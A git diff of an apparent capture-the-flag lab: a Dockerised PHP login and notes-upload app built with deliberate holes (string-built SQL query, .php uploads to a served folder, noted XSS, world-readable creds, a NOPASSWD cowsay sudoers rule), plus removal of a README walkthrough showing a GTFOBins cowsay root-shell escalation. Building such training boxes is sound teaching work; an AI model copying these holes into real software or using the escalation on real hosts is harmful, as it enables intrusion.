diff --git a/README.md b/README.md index 8f6a8a6..3a7e975 100644 --- a/README.md +++ b/README.md @@ -15,55 +15,11 @@ cd docker sudo docker compose up --build ``` -### Building and running the docker image - -_todo_ -``` -``` ## Writeup ### Enum -Scan the IP using nmap for open ports - -``` -nmap -p- ip -``` - -The port 22 and 31337 are open. - -We find that there is a web service on port 31337. - -### Foothold - -... - -### Privesc - -We can see that the user is allowed tu run `/usr/games/cowsay` as root using sudo without password. - -``` -User l33t may run the following commands on srv1prod: - (ALL) NOPASSWD: /usr/games/cowsay, /usr/bin/sudo -l -``` - -Using gtfo bins, we identified that we can spawn a root shell thanks to this misconfiguration. - -[https://gtfobins.github.io/gtfobins/cowsay/](https://gtfobins.github.io/gtfobins/cowsay/) - -``` -TF=$(mktemp) -echo 'exec "/bin/sh";' >$TF -sudo cowsay -f $TF x -# id -uid=0(root) gid=0(root) groups=0(root) -# cat /root/root.txt -epita{th3-sup3r-c0ws4y} -``` - -Solved ! - diff --git a/config/base.sql b/config/base.sql index e3ea94d..b279f4d 100644 --- a/config/base.sql +++ b/config/base.sql @@ -1,9 +1,17 @@ +CREATE DATABASE IF NOT EXISTS app; +USE app; + +CREATE USER 'ctf'@'%' IDENTIFIED WITH mysql_native_password BY '39gknzLD'; +GRANT ALL PRIVILEGES ON app.* TO 'ctf'@'%'; +FLUSH PRIVILEGES; + CREATE TABLE users ( - user_id int PRIMARY KEY, - username varchar(25) NOT NULL, - pass varchar(80) NOT NULL + user_id INT PRIMARY KEY AUTO_INCREMENT, + username VARCHAR(25) NOT NULL, + pass VARCHAR(80) NOT NULL ); + -- cleartext pass ? but why of course INSERT INTO users (user_id,username,pass) VALUES (0,'admin','X82v7>P./~vC'); \ No newline at end of file diff --git a/config/codes.txt b/config/codes.txt new file mode 100644 index 0000000..28fba20 --- /dev/null +++ b/config/codes.txt @@ -0,0 +1 @@ +ODQxOTU= \ No newline at end of file diff --git a/config/creds.txt b/config/creds.txt index 2edec14..1e6f0e1 100644 --- a/config/creds.txt +++ b/config/creds.txt @@ -1 +1 @@ -l33t:h4x0r \ No newline at end of file +agent:1c0b76fce779f78f51be339c49445c49 \ No newline at end of file diff --git a/docker/Dockerfile b/docker/Dockerfile index 6e3fa21..92b9696 100644 --- a/docker/Dockerfile +++ b/docker/Dockerfile @@ -14,21 +14,27 @@ RUN apt update && apt upgrade -y && \ supervisor \ openssh-server \ sudo \ + php-mysql\ cowsay \ php \ + iputils-ping \ && rm -rf /var/lib/apt/lists/* # the user players will need to have access as -RUN useradd -m -s /bin/bash l33t \ -&& echo "l33t:h4x0r" | chpasswd +RUN useradd -m -s /bin/bash agent \ +&& echo "agent:secure" | chpasswd -# apache2 config to change default 80 port to 31337 +# apache2 config to change default 80 port to 8080 -RUN sed -i 's/^Listen 80/Listen 31337/' /etc/apache2/ports.conf +RUN sed -i 's/^Listen 80/Listen 8080/' /etc/apache2/ports.conf -RUN sed -i 's///' /etc/apache2/sites-available/000-default.conf +RUN sed -i 's///' /etc/apache2/sites-available/000-default.conf + +# remove default apache2 index.html + +RUN rm /var/www/html/index.html # enable php module RUN ls /etc/apache2/mods-enabled/ @@ -38,33 +44,39 @@ RUN a2enmod php* COPY ./www/ /var/www/html/ +# give upload permissions to the www-data user + +RUN chown -R www-data:www-data /var/www/html/confidential/uploads && chmod -R 755 /var/www/html/confidential/uploads + +# give permissions to access the agent user to www-data + +RUN usermod -aG agent www-data && chmod 750 /home/agent + RUN mkdir /var/run/sshd # (suggestion) # for the privesc, cowsay allowed to be ran with sudo without password # https://gtfobins.github.io/gtfobins/cowsay/ -RUN printf 'l33t ALL=(ALL) NOPASSWD: /usr/games/cowsay, /usr/bin/sudo -l\n' > /etc/sudoers.d/l33t && \ - chmod 0440 /etc/sudoers.d/l33t && \ - visudo -cf /etc/sudoers.d/l33t +RUN printf 'agent ALL=(ALL) NOPASSWD: /usr/games/cowsay, /usr/bin/sudo -l\n' > /etc/sudoers.d/agent && \ + chmod 0440 /etc/sudoers.d/agent && \ + visudo -cf /etc/sudoers.d/agent -# copy the l33t user creds and set 777 suid +# copy the agent user creds and set 777 suid -COPY ./config/creds.txt /home/l33t/ -RUN chmod 777 /home/l33t/creds.txt +COPY ./config/creds.txt /home/agent/ +RUN chmod 777 /home/agent/creds.txt -# copy the flags and set suid +# copy the secret codes and set suid -COPY ./flags/user.txt /home/l33t/ -RUN chown l33t:l33t /home/l33t/user.txt +COPY ./config/codes.txt /root/ -COPY ./flags/root.txt /root/ -RUN chown root:root /root/root.txt +RUN chown root:root /root/codes.txt -# 22 port -> ssh, 31337 port (suggestion) -> vulnerable webserver players need to find using nmap port scans +# 22 port -> ssh, 8080 port -> webserver EXPOSE 22 -EXPOSE 31337 +EXPOSE 8080 # config of supervisord to have both apache2 and sshd services running diff --git a/docker/docker-compose.yml b/docker/docker-compose.yml index 0084616..7068372 100644 --- a/docker/docker-compose.yml +++ b/docker/docker-compose.yml @@ -5,7 +5,7 @@ services: MYSQL_ROOT_PASSWORD: 39gknzLD MYSQL_DATABASE: app volumes: - - $PWD/config/base.sql:/docker-entrypoint-initdb.d/base.sql:ro + - ../config/base.sql:/docker-entrypoint-initdb.d/base.sql:ro ports: - "3306:3306" app: diff --git a/fiveserver.config.js b/fiveserver.config.js new file mode 100644 index 0000000..23b68d3 --- /dev/null +++ b/fiveserver.config.js @@ -0,0 +1,3 @@ +module.exports = { + php: "/usr/bin/php" +} \ No newline at end of file diff --git a/flags/root.txt b/flags/root.txt deleted file mode 100644 index 0e636dd..0000000 --- a/flags/root.txt +++ /dev/null @@ -1 +0,0 @@ -epita{th3-sup3r-c0ws4y} \ No newline at end of file diff --git a/flags/user.txt b/flags/user.txt deleted file mode 100644 index 650d065..0000000 --- a/flags/user.txt +++ /dev/null @@ -1 +0,0 @@ -epita{th3-tUx-g4ll3ry-1snT-4s-s3cUr3-4ft3r-4ll} \ No newline at end of file diff --git a/www/admin/loadnote.php b/www/admin/loadnote.php new file mode 100644 index 0000000..8fe5be7 --- /dev/null +++ b/www/admin/loadnote.php @@ -0,0 +1,23 @@ + diff --git a/www/admin/securenotes.php b/www/admin/securenotes.php new file mode 100644 index 0000000..7e794a4 --- /dev/null +++ b/www/admin/securenotes.php @@ -0,0 +1,129 @@ + + + + + + + +NFD | SECURE NOTES + + + + + + +
+ +
+

Upload notes securely here from each operation.

+ Notes must be in .txt +
+ + +

+ +
+ + +
+ +
+ + +
+ isDot() || $file->isDir()) continue; + $fileName = $file->getFilename(); + if (!preg_match('/\.(txt|php)$/i', $fileName)) continue; + ?> +
+ Note Icon +
+
+ +
+ +
+ + + + + + + + + diff --git a/www/admin/uploadnote.php b/www/admin/uploadnote.php new file mode 100644 index 0000000..4a7c309 --- /dev/null +++ b/www/admin/uploadnote.php @@ -0,0 +1,28 @@ +File uploaded!"; + } else { + $status = "
An error occurred.
"; + } + } else { + $status = "
An error occurred.
"; + } + } else { + $status = "
Invalid file type!
"; + } +} + +echo $status; +?> diff --git a/www/confidential/uploads/OperationAlpha.txt b/www/confidential/uploads/OperationAlpha.txt new file mode 100644 index 0000000..f6ea049 --- /dev/null +++ b/www/confidential/uploads/OperationAlpha.txt @@ -0,0 +1 @@ +foobar \ No newline at end of file diff --git a/www/confidential/uploads/OperationBravo.txt b/www/confidential/uploads/OperationBravo.txt new file mode 100644 index 0000000..f6ea049 --- /dev/null +++ b/www/confidential/uploads/OperationBravo.txt @@ -0,0 +1 @@ +foobar \ No newline at end of file diff --git a/www/confidential/uploads/OperationTourniquet.txt b/www/confidential/uploads/OperationTourniquet.txt new file mode 100644 index 0000000..f6ea049 --- /dev/null +++ b/www/confidential/uploads/OperationTourniquet.txt @@ -0,0 +1 @@ +foobar \ No newline at end of file diff --git a/www/gallery.php b/www/gallery.php new file mode 100644 index 0000000..d652182 --- /dev/null +++ b/www/gallery.php @@ -0,0 +1,49 @@ + + + + + + + Tux gallery ! + + + + + + +
+
+

Tux gallery

+

Tux is awesome ! So I made this extremely secure gallery app.

+ + You can also add tux pictures to the gallery, first login and then you should be able to upload a new image of tux. + + First navigate to the upload.php page and upload your tux image from there! + +
+
+
+
+ isDot()) continue; + print ''; // to do, is there an 'fstring' like for php ? just like in python + } // xss ? i call it a feature + ?> +
+
+
+ + + + \ No newline at end of file diff --git a/www/include/nav.php b/www/include/nav.php index 3dac8c2..5deb357 100644 --- a/www/include/nav.php +++ b/www/include/nav.php @@ -1,13 +1,18 @@ + diff --git a/www/index.php b/www/index.php index ba6d174..e249638 100644 --- a/www/index.php +++ b/www/index.php @@ -1,40 +1,63 @@ + - Tux gallery ! - + NDF | LOGIN + - -
-
-

Tux gallery

-

Tux is awesome ! So I made this extremely secure gallery app.

-

You can also add tux pictures to the gallery, first login and then you should be able to upload a new image of tux.

-
-
-
- isDot()) continue; - print ''; // to do, is there an 'fstring' like for php ? just like in python - } // xss ? i call it a feature +
+
+

NDF ACCESS

+ + + + + + + + Username is empty.
'; + } else { + $servername = "db"; + $username = "ctf"; + $password_db = "39gknzLD"; + $dbname = "app"; + $conn = new mysqli($servername, $username, $password_db, $dbname); + $sql = "SELECT username, pass FROM users WHERE username='$name' AND pass='$password'"; + $result = $conn->query($sql); + if ($result->num_rows > 0) { + session_regenerate_id(true); + $_SESSION['username'] = $name; + header('Location: /admin/securenotes.php'); + exit(); + } else { + echo '
Wrong username or password!
'; + } + } + } ?> -
- + - - + + - \ No newline at end of file + diff --git a/www/login.php b/www/login.php deleted file mode 100644 index 9444356..0000000 --- a/www/login.php +++ /dev/null @@ -1,52 +0,0 @@ - - - - - - Tux gallery ! - - - - - -
-
-

Login

-

Note : The register feature is not implemented yet !

- - - - - -
-
- query($sql); - if ($result->num_rows > 0) { - echo "CONNECTED" // do redirect to upload page - } else { - echo "Wrong username or password !"; - } - } - } - ?> - - \ No newline at end of file diff --git a/www/logout.php b/www/logout.php new file mode 100644 index 0000000..f8fceb5 --- /dev/null +++ b/www/logout.php @@ -0,0 +1,14 @@ +